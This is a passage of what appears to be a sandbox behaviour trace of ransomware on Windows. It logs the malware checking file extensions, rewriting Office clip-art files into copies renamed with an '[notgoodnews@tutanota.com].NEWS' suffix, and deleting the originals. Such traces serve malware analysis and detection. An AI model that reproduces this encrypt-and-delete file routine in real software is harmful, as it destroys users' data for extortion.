(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0075.998] lstrlenW (lpString=".dbf") returned 4 [0075.998] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0075.998] lstrlenW (lpString=".1cd") returned 4 [0075.998] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0075.998] lstrlenW (lpString=".jpg") returned 4 [0075.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0075.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0075.998] lstrlenW (lpString=".doc") returned 4 [0075.998] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.998] lstrlenW (lpString=".docx") returned 5 [0075.998] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.999] lstrlenW (lpString=".pdf") returned 4 [0075.999] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.999] lstrlenW (lpString=".xls") returned 4 [0075.999] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.999] lstrlenW (lpString=".xlsx") returned 5 [0075.999] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.999] lstrlenW (lpString=".ppt") returned 4 [0075.999] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0075.999] lstrlenW (lpString=".zip") returned 4 [0075.999] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.999] lstrlenW (lpString=".rar") returned 4 [0075.999] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.999] lstrlenW (lpString=".bz2") returned 4 [0075.999] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.999] lstrlenW (lpString=".7z") returned 3 [0075.999] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0075.999] lstrlenW (lpString=".dbf") returned 4 [0075.999] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0075.999] lstrlenW (lpString=".1cd") returned 4 [0075.999] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0075.999] lstrlenW (lpString=".jpg") returned 4 [0075.999] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.999] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0075.999] lstrlenW (lpString="AN01216_.WMF") returned 12 [0075.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0076.000] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=5836) returned 1 [0076.000] CloseHandle (hObject=0x358) returned 1 [0076.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 0x220 [0076.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0076.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0076.000] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.000] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0076.000] GetLastError () returned 0x0 [0076.000] ReadFile (in: hFile=0x358, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x16cc, lpOverlapped=0x0) returned 1 [0076.123] WriteFile (in: hFile=0x380, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x16d0, lpOverlapped=0x0) returned 1 [0076.125] ReadFile (in: hFile=0x358, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.125] WriteFile (in: hFile=0x380, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.125] SetEndOfFile (hFile=0x380) returned 1 [0076.689] CloseHandle (hObject=0x380) returned 1 [0077.084] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.084] SetEndOfFile (hFile=0x358) returned 1 [0077.085] CloseHandle (hObject=0x358) returned 1 [0077.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0077.086] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 1 [0077.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0077.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0077.086] lstrlenW (lpString=".doc") returned 4 [0077.086] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.086] lstrlenW (lpString=".docx") returned 5 [0077.086] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.086] lstrlenW (lpString=".pdf") returned 4 [0077.086] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.086] lstrlenW (lpString=".xls") returned 4 [0077.086] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.086] lstrlenW (lpString=".xlsx") returned 5 [0077.087] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.087] lstrlenW (lpString=".ppt") returned 4 [0077.087] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0077.087] lstrlenW (lpString=".zip") returned 4 [0077.087] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.087] lstrlenW (lpString=".rar") returned 4 [0077.087] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.087] lstrlenW (lpString=".bz2") returned 4 [0077.087] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.087] lstrlenW (lpString=".7z") returned 3 [0077.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0077.087] lstrlenW (lpString=".dbf") returned 4 [0077.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0077.087] lstrlenW (lpString=".1cd") returned 4 [0077.087] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0077.087] lstrlenW (lpString=".jpg") returned 4 [0077.087] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0077.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0077.087] lstrlenW (lpString=".doc") returned 4 [0077.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.087] lstrlenW (lpString=".docx") returned 5 [0077.087] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.087] lstrlenW (lpString=".pdf") returned 4 [0077.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.088] lstrlenW (lpString=".xls") returned 4 [0077.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.088] lstrlenW (lpString=".xlsx") returned 5 [0077.088] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.088] lstrlenW (lpString=".ppt") returned 4 [0077.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0077.088] lstrlenW (lpString=".zip") returned 4 [0077.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.088] lstrlenW (lpString=".rar") returned 4 [0077.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.088] lstrlenW (lpString=".bz2") returned 4 [0077.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.088] lstrlenW (lpString=".7z") returned 3 [0077.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0077.088] lstrlenW (lpString=".dbf") returned 4 [0077.089] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0077.089] lstrlenW (lpString=".1cd") returned 4 [0077.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0077.089] lstrlenW (lpString=".jpg") returned 4 [0077.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.089] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0077.089] lstrlenW (lpString="AN04267_.WMF") returned 12 [0077.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0077.090] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=7804) returned 1 [0077.090] CloseHandle (hObject=0x358) returned 1 [0077.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 0x220 [0077.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0077.090] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.090] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0077.091] GetLastError () returned 0x0 [0077.091] ReadFile (in: hFile=0x358, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x1e7c, lpOverlapped=0x0) returned 1 [0077.093] WriteFile (in: hFile=0x330, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x1e80, lpOverlapped=0x0) returned 1 [0077.095] ReadFile (in: hFile=0x358, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.095] WriteFile (in: hFile=0x330, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.095] SetEndOfFile (hFile=0x330) returned 1 [0077.095] CloseHandle (hObject=0x330) returned 1 [0077.096] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.096] SetEndOfFile (hFile=0x358) returned 1 [0077.098] CloseHandle (hObject=0x358) returned 1 [0077.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0077.098] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 1 [0077.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0077.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0077.098] lstrlenW (lpString=".doc") returned 4 [0077.098] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.098] lstrlenW (lpString=".docx") returned 5 [0077.099] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.099] lstrlenW (lpString=".pdf") returned 4 [0077.099] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.099] lstrlenW (lpString=".xls") returned 4 [0077.099] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.099] lstrlenW (lpString=".xlsx") returned 5 [0077.099] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.099] lstrlenW (lpString=".ppt") returned 4 [0077.099] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0077.099] lstrlenW (lpString=".zip") returned 4 [0077.099] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.099] lstrlenW (lpString=".rar") returned 4 [0077.099] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.099] lstrlenW (lpString=".bz2") returned 4 [0077.099] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.099] lstrlenW (lpString=".7z") returned 3 [0077.099] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0077.099] lstrlenW (lpString=".dbf") returned 4 [0077.099] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0077.099] lstrlenW (lpString=".1cd") returned 4 [0077.099] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0077.100] lstrlenW (lpString=".jpg") returned 4 [0077.100] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0077.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0077.100] lstrlenW (lpString=".doc") returned 4 [0077.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.100] lstrlenW (lpString=".docx") returned 5 [0077.100] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.100] lstrlenW (lpString=".pdf") returned 4 [0077.100] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.100] lstrlenW (lpString=".xls") returned 4 [0077.100] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.100] lstrlenW (lpString=".xlsx") returned 5 [0077.100] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.100] lstrlenW (lpString=".ppt") returned 4 [0077.100] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0077.100] lstrlenW (lpString=".zip") returned 4 [0077.100] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.100] lstrlenW (lpString=".rar") returned 4 [0077.100] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.100] lstrlenW (lpString=".bz2") returned 4 [0077.100] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.100] lstrlenW (lpString=".7z") returned 3 [0077.100] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0077.101] lstrlenW (lpString=".dbf") returned 4 [0077.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0077.101] lstrlenW (lpString=".1cd") returned 4 [0077.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0077.101] lstrlenW (lpString=".jpg") returned 4 [0077.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.101] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0077.101] lstrlenW (lpString="AN04269_.WMF") returned 12 [0077.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0077.101] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=2016) returned 1 [0077.102] CloseHandle (hObject=0x358) returned 1 [0077.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 0x220 [0077.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0077.102] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.102] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0077.103] GetLastError () returned 0x0 [0077.103] ReadFile (in: hFile=0x358, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x7e0, lpOverlapped=0x0) returned 1 [0077.105] WriteFile (in: hFile=0x330, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x7f0, lpOverlapped=0x0) returned 1 [0077.106] ReadFile (in: hFile=0x358, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.106] WriteFile (in: hFile=0x330, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.106] SetEndOfFile (hFile=0x330) returned 1 [0077.106] CloseHandle (hObject=0x330) returned 1 [0077.107] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.107] SetEndOfFile (hFile=0x358) returned 1 [0077.108] CloseHandle (hObject=0x358) returned 1 [0077.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0077.109] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 1 [0077.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0077.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0077.109] lstrlenW (lpString=".doc") returned 4 [0077.109] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.109] lstrlenW (lpString=".docx") returned 5 [0077.109] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.109] lstrlenW (lpString=".pdf") returned 4 [0077.109] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.110] lstrlenW (lpString=".xls") returned 4 [0077.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.110] lstrlenW (lpString=".xlsx") returned 5 [0077.110] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.110] lstrlenW (lpString=".ppt") returned 4 [0077.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0077.110] lstrlenW (lpString=".zip") returned 4 [0077.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.110] lstrlenW (lpString=".rar") returned 4 [0077.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.110] lstrlenW (lpString=".bz2") returned 4 [0077.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.110] lstrlenW (lpString=".7z") returned 3 [0077.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0077.110] lstrlenW (lpString=".dbf") returned 4 [0077.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0077.110] lstrlenW (lpString=".1cd") returned 4 [0077.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.110] lstrlenW 